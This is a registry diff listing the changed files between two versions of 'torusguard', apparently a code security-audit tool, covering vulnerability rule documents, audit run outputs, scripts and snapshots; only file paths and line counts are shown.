torusguard 1.0.0 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (411) hide show
  1. package/.torusguard/.manifest.json +196 -78
  2. package/.torusguard/references/csharp-security.md +41 -0
  3. package/.torusguard/references/go-security.md +41 -0
  4. package/.torusguard/references/java-security.md +40 -0
  5. package/.torusguard/references/polyglot-security-matrix.md +25 -0
  6. package/.torusguard/references/rust-security.md +40 -0
  7. package/.torusguard/rules/README.md +93 -62
  8. package/.torusguard/rules/TG-AUTH-001-weak-password-storage.md +103 -0
  9. package/.torusguard/rules/TG-AUTH-002-client-only-authorization.md +85 -0
  10. package/.torusguard/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
  11. package/.torusguard/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
  12. package/.torusguard/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
  13. package/.torusguard/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
  14. package/.torusguard/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  15. package/.torusguard/rules/TG-DB-001-frontend-database-query.md +83 -0
  16. package/.torusguard/rules/TG-DB-002-privileged-database-credential.md +86 -0
  17. package/.torusguard/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
  18. package/.torusguard/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  19. package/.torusguard/rules/TG-INPUT-001-missing-server-validation.md +98 -0
  20. package/.torusguard/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  21. package/.torusguard/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  22. package/.torusguard/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  23. package/.torusguard/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  24. package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  25. package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  26. package/.torusguard/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
  27. package/.torusguard/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  28. package/.torusguard/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  29. package/.torusguard/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  30. package/.torusguard/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  31. package/.torusguard/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  32. package/.torusguard/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
  33. package/.torusguard/rules/TG-SEC-002-public-environment-secrets.md +83 -0
  34. package/.torusguard/rules/TG-SEC-003-tracked-env-file.md +79 -0
  35. package/.torusguard/rules/TG-SEC-004-sensitive-logging.md +83 -0
  36. package/.torusguard/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
  37. package/.torusguard/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
  38. package/.torusguard/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
  39. package/.torusguard/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
  40. package/.torusguard/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
  41. package/.torusguard/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
  42. package/.torusguard/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  43. package/.torusguard/rules/active/TG-DB-001-frontend-database-query.md +83 -0
  44. package/.torusguard/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
  45. package/.torusguard/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
  46. package/.torusguard/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  47. package/.torusguard/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
  48. package/.torusguard/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  49. package/.torusguard/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  50. package/.torusguard/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  51. package/.torusguard/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  52. package/.torusguard/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  53. package/.torusguard/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  54. package/.torusguard/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
  55. package/.torusguard/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  56. package/.torusguard/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  57. package/.torusguard/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  58. package/.torusguard/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  59. package/.torusguard/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  60. package/.torusguard/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
  61. package/.torusguard/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
  62. package/.torusguard/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
  63. package/.torusguard/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
  64. package/.torusguard/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
  65. package/.torusguard/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
  66. package/.torusguard/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
  67. package/.torusguard/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
  68. package/.torusguard/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
  69. package/.torusguard/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
  70. package/.torusguard/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
  71. package/.torusguard/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
  72. package/.torusguard/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
  73. package/.torusguard/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
  74. package/.torusguard/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
  75. package/.torusguard/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
  76. package/.torusguard/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
  77. package/.torusguard/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
  78. package/.torusguard/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
  79. package/.torusguard/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
  80. package/.torusguard/rules/custom/.gitkeep +1 -0
  81. package/.torusguard/rules/custom/README.md +30 -0
  82. package/.torusguard/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
  83. package/.torusguard/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
  84. package/.torusguard/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
  85. package/.torusguard/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
  86. package/.torusguard/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
  87. package/.torusguard/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
  88. package/.torusguard/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
  89. package/.torusguard/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
  90. package/.torusguard/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
  91. package/.torusguard/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
  92. package/.torusguard/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
  93. package/.torusguard/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
  94. package/.torusguard/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
  95. package/.torusguard/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
  96. package/.torusguard/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
  97. package/.torusguard/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
  98. package/.torusguard/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
  99. package/.torusguard/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
  100. package/.torusguard/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
  101. package/.torusguard/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
  102. package/.torusguard/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
  103. package/.torusguard/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
  104. package/.torusguard/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
  105. package/.torusguard/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
  106. package/.torusguard/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
  107. package/.torusguard/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
  108. package/.torusguard/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
  109. package/.torusguard/runs/report-latest.html +370 -0
  110. package/.torusguard/runs/run-20260908-112648-audit/findings.json +1520 -0
  111. package/.torusguard/runs/run-20260908-112648-audit/findings.md +560 -0
  112. package/.torusguard/runs/run-20260908-112648-audit/manifest.json +12 -0
  113. package/.torusguard/runs/run-20260908-112648-audit/summary.md +5 -0
  114. package/.torusguard/runs/run-20260908-112722-audit/findings.json +1520 -0
  115. package/.torusguard/runs/run-20260908-112722-audit/findings.md +560 -0
  116. package/.torusguard/runs/run-20260908-112722-audit/manifest.json +12 -0
  117. package/.torusguard/runs/run-20260908-112722-audit/summary.md +5 -0
  118. package/.torusguard/runs/run-20260908-113004-audit/findings.json +1520 -0
  119. package/.torusguard/runs/run-20260908-113004-audit/findings.md +560 -0
  120. package/.torusguard/runs/run-20260908-113004-audit/manifest.json +12 -0
  121. package/.torusguard/runs/run-20260908-113004-audit/summary.md +5 -0
  122. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
  123. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
  124. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
  125. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
  126. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
  127. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
  128. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
  129. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
  130. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
  131. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
  132. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
  133. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
  134. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
  135. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
  136. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
  137. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
  138. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
  139. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
  140. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
  141. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
  142. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
  143. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
  144. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
  145. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
  146. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
  147. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
  148. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
  149. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
  150. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
  151. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
  152. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
  153. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
  154. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
  155. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
  156. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
  157. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
  158. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
  159. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
  160. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
  161. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
  162. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
  163. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
  164. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
  165. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
  166. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
  167. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
  168. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
  169. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
  170. package/.torusguard/runs/run-20260908-113127-audit/findings.json +1520 -0
  171. package/.torusguard/runs/run-20260908-113127-audit/findings.md +560 -0
  172. package/.torusguard/runs/run-20260908-113127-audit/manifest.json +13 -0
  173. package/.torusguard/runs/run-20260908-113127-audit/remediation.md +262 -0
  174. package/.torusguard/runs/run-20260908-113127-audit/summary.md +5 -0
  175. package/.torusguard/runs/run-20260908-115240-audit/apply_plan.md +6 -0
  176. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
  177. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
  178. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
  179. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
  180. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
  181. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
  182. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
  183. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
  184. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
  185. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
  186. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
  187. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
  188. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
  189. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
  190. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
  191. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
  192. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
  193. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
  194. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
  195. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
  196. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
  197. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
  198. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
  199. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
  200. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
  201. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
  202. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
  203. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
  204. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
  205. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
  206. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/metadata.json +15 -0
  207. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/minimal_patch_plan.md +21 -0
  208. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/patch.diff +9 -0
  209. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
  210. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
  211. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
  212. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
  213. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
  214. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
  215. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
  216. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
  217. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
  218. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
  219. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
  220. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
  221. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
  222. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
  223. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
  224. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
  225. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
  226. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
  227. package/.torusguard/runs/run-20260908-115240-audit/diff_summary.md +221 -0
  228. package/.torusguard/runs/run-20260908-115240-audit/findings.json +1553 -0
  229. package/.torusguard/runs/run-20260908-115240-audit/findings.md +572 -0
  230. package/.torusguard/runs/run-20260908-115240-audit/manifest.json +14 -0
  231. package/.torusguard/runs/run-20260908-115240-audit/recheck.md +91 -0
  232. package/.torusguard/runs/run-20260908-115240-audit/remediation.md +278 -0
  233. package/.torusguard/runs/run-20260908-115240-audit/summary.md +5 -0
  234. package/.torusguard/schemas/golden-recipe.schema.json +75 -0
  235. package/.torusguard/scripts/__pycache__/audit_runner.cpython-311.pyc +0 -0
  236. package/.torusguard/scripts/__pycache__/finding_scorer.cpython-311.pyc +0 -0
  237. package/.torusguard/scripts/__pycache__/memory_engine.cpython-311.pyc +0 -0
  238. package/.torusguard/scripts/__pycache__/monorepo_detector.cpython-311.pyc +0 -0
  239. package/.torusguard/scripts/__pycache__/run_manager.cpython-311.pyc +0 -0
  240. package/.torusguard/scripts/__pycache__/stack_detect.cpython-311.pyc +0 -0
  241. package/.torusguard/scripts/apply_runner.py +332 -0
  242. package/.torusguard/scripts/audit_runner.py +550 -0
  243. package/.torusguard/scripts/diff_guard.py +183 -8
  244. package/.torusguard/scripts/finding_scorer.py +91 -5
  245. package/.torusguard/scripts/harden_runner.py +353 -0
  246. package/.torusguard/scripts/html_reporter.py +643 -0
  247. package/.torusguard/scripts/manifest_builder.py +7 -5
  248. package/.torusguard/scripts/memory_engine.py +525 -99
  249. package/.torusguard/scripts/monorepo_detector.py +123 -10
  250. package/.torusguard/scripts/recheck_runner.py +221 -0
  251. package/.torusguard/scripts/recipes_runner.py +130 -0
  252. package/.torusguard/scripts/rules_sync.py +321 -0
  253. package/.torusguard/scripts/run_manager.py +17 -5
  254. package/.torusguard/scripts/stack_detect.py +458 -26
  255. package/.torusguard/skills/torusguard/SKILL.md +42 -42
  256. package/.torusguard/skills/torusguard/references/csharp-security.md +41 -0
  257. package/.torusguard/skills/torusguard/references/go-security.md +41 -0
  258. package/.torusguard/skills/torusguard/references/java-security.md +40 -0
  259. package/.torusguard/skills/torusguard/references/polyglot-security-matrix.md +25 -0
  260. package/.torusguard/skills/torusguard/references/rust-security.md +40 -0
  261. package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/client/src/App.jsx.bak +63 -0
  262. package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/server/index.js.bak +82 -0
  263. package/.torusguard/snapshots/run-20260908-115240-audit/harness/engine/fixture_manager.py.bak +245 -0
  264. package/.torusguard/snapshots/run-20260908-115240-audit/harness/master_validation.py.bak +698 -0
  265. package/.torusguard/snapshots/run-20260908-115240-audit/harness/runner.py.bak +551 -0
  266. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_e2e.py.bak +498 -0
  267. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_qa_v0_6_0.py.bak +572 -0
  268. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_1_scale.py.bak +371 -0
  269. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_2_modern_stacks.py.bak +462 -0
  270. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_3_hardening.py.bak +444 -0
  271. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_0_0_memory.py.bak +302 -0
  272. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_1_0_advanced_memory.py.bak +342 -0
  273. package/.torusguard/snapshots/run-20260908-115240-audit/skills/torusguard/payload/scripts/harden_runner.py.bak +353 -0
  274. package/.torusguard/snapshots/run-20260908-115240-audit/tests/test_v0_6_0_governed_remediation.py.bak +353 -0
  275. package/README.md +344 -410
  276. package/bin/torusguard.js +195 -21
  277. package/package.json +1 -1
  278. package/skills/torusguard/SKILL.md +42 -42
  279. package/skills/torusguard/bootstrap.py +149 -70
  280. package/skills/torusguard/payload/.manifest.json +196 -78
  281. package/skills/torusguard/payload/references/csharp-security.md +41 -0
  282. package/skills/torusguard/payload/references/go-security.md +41 -0
  283. package/skills/torusguard/payload/references/java-security.md +40 -0
  284. package/skills/torusguard/payload/references/polyglot-security-matrix.md +25 -0
  285. package/skills/torusguard/payload/references/rust-security.md +40 -0
  286. package/skills/torusguard/payload/rules/README.md +93 -62
  287. package/skills/torusguard/payload/rules/TG-AUTH-001-weak-password-storage.md +103 -0
  288. package/skills/torusguard/payload/rules/TG-AUTH-002-client-only-authorization.md +85 -0
  289. package/skills/torusguard/payload/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
  290. package/skills/torusguard/payload/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
  291. package/skills/torusguard/payload/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
  292. package/skills/torusguard/payload/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
  293. package/skills/torusguard/payload/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  294. package/skills/torusguard/payload/rules/TG-DB-001-frontend-database-query.md +83 -0
  295. package/skills/torusguard/payload/rules/TG-DB-002-privileged-database-credential.md +86 -0
  296. package/skills/torusguard/payload/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
  297. package/skills/torusguard/payload/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  298. package/skills/torusguard/payload/rules/TG-INPUT-001-missing-server-validation.md +98 -0
  299. package/skills/torusguard/payload/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  300. package/skills/torusguard/payload/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  301. package/skills/torusguard/payload/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  302. package/skills/torusguard/payload/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  303. package/skills/torusguard/payload/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  304. package/skills/torusguard/payload/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  305. package/skills/torusguard/payload/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
  306. package/skills/torusguard/payload/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  307. package/skills/torusguard/payload/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  308. package/skills/torusguard/payload/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  309. package/skills/torusguard/payload/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  310. package/skills/torusguard/payload/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  311. package/skills/torusguard/payload/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
  312. package/skills/torusguard/payload/rules/TG-SEC-002-public-environment-secrets.md +83 -0
